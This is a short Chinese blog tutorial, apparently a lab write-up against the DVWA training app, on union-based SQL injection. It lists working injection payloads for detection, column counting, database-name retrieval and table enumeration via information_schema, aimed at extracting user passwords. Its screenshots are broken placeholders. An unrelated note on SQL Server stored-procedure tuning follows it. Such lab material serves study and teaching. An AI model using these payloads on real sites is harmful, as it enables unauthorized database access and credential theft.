SQL注入小结

SQL注入小结

一.union注入的原理以及代码演示:

1.1SQL注入漏洞的判断:

1‘ and 1=1; #与1’ and 1=2; #的返回页面是否不一样:

发现不一样,则初步判断存在SQL注入漏洞

1.2SQL注入字段数的判断:

1‘ order by 1,2,3; #如果当为3的时候出现报错,则说明字段数为2

1.3 union联合查询获取敏感信息:

1’and 1=2 union select 1, 2; #

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

说明可以使用union all

进一步获取信息:1’and 1=2 union select 1, (database()); #

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

替换之后可查其他信息:

1.4进阶SQL注入攻击:

目前已知 dvwa库下有两个字段:我们尝试获取下一步信息:

1'and 1=2 union select 1, (select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=database() limit 1,2); #

limit(1,?)可以替换,这里我理解为有几个字段。

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

最终得到两个字段为:guestbook users

users表示用户,接下来我们主要获取user表里的信息:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

最后直接出密码:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

]

最后直接出密码:

[外链图片转存中…(img-RVWwLA1L-1693384676072)]

注意:这只是非常简单,没有任何过滤的情况。

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
SQL Server 存储过程是一组 SQL 语句的集合,可以被编译并保存在数据库中,以便重复使用。存储过程可以提高查询性能,减少网络流量,简化复杂的查询过程,使代码更容易维护。然而,存储过程的性能也可能受到许多因素的影响,包括查询语句的复杂性、索引的使用、参数的传递方式等等。下面是一些 SQL Server 存储过程调优的小结: 1.使用 SET NOCOUNT ON 语句:这个语句可以关闭每条 SQL 语句返回的行数,减少网络流量。 2.使用 WITH RECOMPILE 选项:这个选项可以在每次执行存储过程时重新编译查询计划,确保每次都使用最优的执行计划。 3.使用 OUTPUT 参数代替 SELECT 语句:在存储过程中,使用 OUTPUT 参数可以避免使用 SELECT 语句来返回结果集,从而减少网络流量。 4.使用适当的索引:为存储过程中的查询语句创建适当的索引可以大大提高查询性能。 5.避免使用函数:存储过程中使用函数会导致查询计划的重新编译,影响性能。 6.使用临时表:在存储过程中使用临时表可以减少查询语句的复杂性,提高查询性能。 7.使用参数化查询:使用参数化查询可以避免 SQL 注入攻击,同时可以提高查询性能。 8.避免使用大量的 IF 语句:使用大量的 IF 语句会导致存储过程的复杂性增加,影响性能。 9.使用 TRY/CATCH 语句:在存储过程中使用 TRY/CATCH 语句可以处理异常,保证代码的健壮性。 10.使用 SET ANSI_NULLS 和 SET QUOTED_IDENTIFIER 选项:在存储过程中使用这两个选项可以确保查询语句的正确性和可靠性。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值